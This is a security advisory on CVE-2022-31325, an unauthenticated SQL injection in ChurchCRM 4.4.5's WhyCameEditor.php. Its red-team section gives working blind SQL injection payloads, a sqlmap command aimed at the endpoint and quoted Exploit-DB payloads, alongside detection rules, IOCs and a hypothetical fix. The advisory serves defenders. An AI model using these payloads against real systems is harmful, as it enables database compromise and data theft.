CVE-2022-31325

Executive Summary

CVE-2022-31325 is a critical SQL Injection vulnerability in ChurchCRM version 4.4.5, specifically within the WhyCameEditor.php endpoint. The vulnerability allows an unauthenticated attacker to inject arbitrary SQL commands via the PersonID GET parameter, leading to potential data exfiltration, authentication bypass, and full database compromise. The exploit has been publicly released on Exploit-DB, and no official patch has been provided by the vendor. This vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and carries a CVSS v3.1 base score of 9.8 (Critical). Immediate action is required to mitigate risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical due to the low complexity, no authentication requirement, and the potential for full database compromise. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of exploit code increases risk for exposed instances.

Deep Dive & Mechanics

The vulnerability resides in the WhyCameEditor.php script, which processes the PersonID parameter from a GET request. The application fails to sanitize or parameterize this input before using it in a SQL query. An attacker can inject malicious SQL payloads to manipulate the query logic.

Technical Details:

• Endpoint: /churchcrm/WhyCameEditor.php
• Parameter: PersonID (GET)
• Database: MySQL
• Vulnerability Type: Boolean-based blind and time-based blind SQL injection.

The exploit payloads demonstrate two attack vectors:

1. Boolean-based blind: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE (SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=
2. Time-based blind: PersonID=1 AND (SELECT 7116 FROM (SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=

These payloads allow an attacker to extract data by observing response differences (boolean) or response delays (time-based). The vulnerability is not limited to these payloads; any SQL injection technique can be applied.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 4.4.5): The WhyCameEditor.php likely contains a query similar to:

$query = "SELECT * FROM whycame WHERE person_id = " . $_GET['PersonID'];

This directly concatenates user input into the SQL query without sanitization.

Patched Code (Hypothetical): A secure version would use prepared statements:

$stmt = $db->prepare("SELECT * FROM whycame WHERE person_id = ?");
$stmt->bind_param("i", $_GET['PersonID']);
$stmt->execute();

No official patch exists; this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running ChurchCRM 4.4.5
• Network access to the /churchcrm/WhyCameEditor.php endpoint
• SQLMap or manual exploitation tools

Exploit-DB Code Usage: The provided exploit code from Exploit-DB includes payloads for boolean-based and time-based blind SQL injection. To exploit:

1. Manual exploitation with SQLMap:

   sqlmap -u "http://target/churchcrm/WhyCameEditor.php?PersonID=1&WhyCameID=1&linkBack=" --batch --dbs
   

2. Manual payload injection:

   • Boolean-based: http://target/churchcrm/WhyCameEditor.php?PersonID=(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))&WhyCameID=1&linkBack=
   • Time-based: http://target/churchcrm/WhyCameEditor.php?PersonID=1 AND SLEEP(5)&WhyCameID=1&linkBack=

Full Exploit-DB Code:

---
Parameter: PersonID (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE
(SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: PersonID=1 AND (SELECT 7116 FROM
(SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=
---

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious PersonID parameters containing SQL keywords (e.g., SELECT, UNION, SLEEP, AND).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use the detection rules provided in the Detection Engineering section.

Honeypot Setup:

• Deploy a honeypot instance of ChurchCRM 4.4.5 to capture attacker behavior.
• Log all requests to WhyCameEditor.php and analyze for injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /churchcrm/WhyCameEditor.php with PersonID containing SQL keywords.
  • Requests with SLEEP() functions in the PersonID parameter.
  • Unusual response times (e.g., >5 seconds) indicating time-based injection.
• File IOCs:
  • Modified database entries in the whycame table.
  • Unexpected files in the web root (e.g., webshells).
• Log IOCs:
  • Web server logs showing PersonID values like (SELECT (CASE WHEN ...)) or 1 AND SLEEP(5).

Detection Engineering

YARA Rule

rule CVE_2022_31325_SQLi_ChurchCRM {
    meta:
        description = "Detects SQL injection attempts targeting ChurchCRM WhyCameEditor.php"
        author = "Valters IT"
        date = "2025-04-07"
        reference = "CVE-2022-31325"
    strings:
        $s1 = "PersonID=" nocase
        $s2 = "SELECT" nocase
        $s3 = "SLEEP" nocase
        $s4 = "UNION" nocase
        $s5 = "WhyCameEditor.php" nocase
    condition:
        all of ($s1, $s5) and 1 of ($s2, $s3, $s4)
}

Sigma Rule

title: ChurchCRM SQL Injection via PersonID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against ChurchCRM WhyCameEditor.php
author: Valters IT
date: 2025-04-07
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "PersonID=(SELECT"
            - "PersonID=1 AND SLEEP"
            - "PersonID=1 AND (SELECT"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-malicious context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-31325 ChurchCRM SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/churchcrm/WhyCameEditor.php"; http_uri; content:"PersonID="; http_uri; pcre:"/PersonID=(SELECT|AND\s+SLEEP|UNION)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the ChurchCRM instance offline or restrict network access to trusted IPs only.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting WhyCameEditor.php.
3. Upgrade: Check for any newer versions of ChurchCRM (none available as of this report). If no update exists, consider migrating to an alternative CRM.

Long-term Fixes:

1. Code remediation: Replace all direct SQL queries with prepared statements or parameterized queries in WhyCameEditor.php and other files.
2. Input validation: Implement strict input validation for all GET/POST parameters, especially numeric fields like PersonID.
3. Security audit: Conduct a full security audit of the ChurchCRM codebase to identify similar vulnerabilities.

Workaround:

• Disable the WhyCameEditor.php endpoint by removing or renaming the file, if the functionality is not critical.

Valters IT

{/* [Security Hash: 24A91B0F0F5F66E04396C832] */}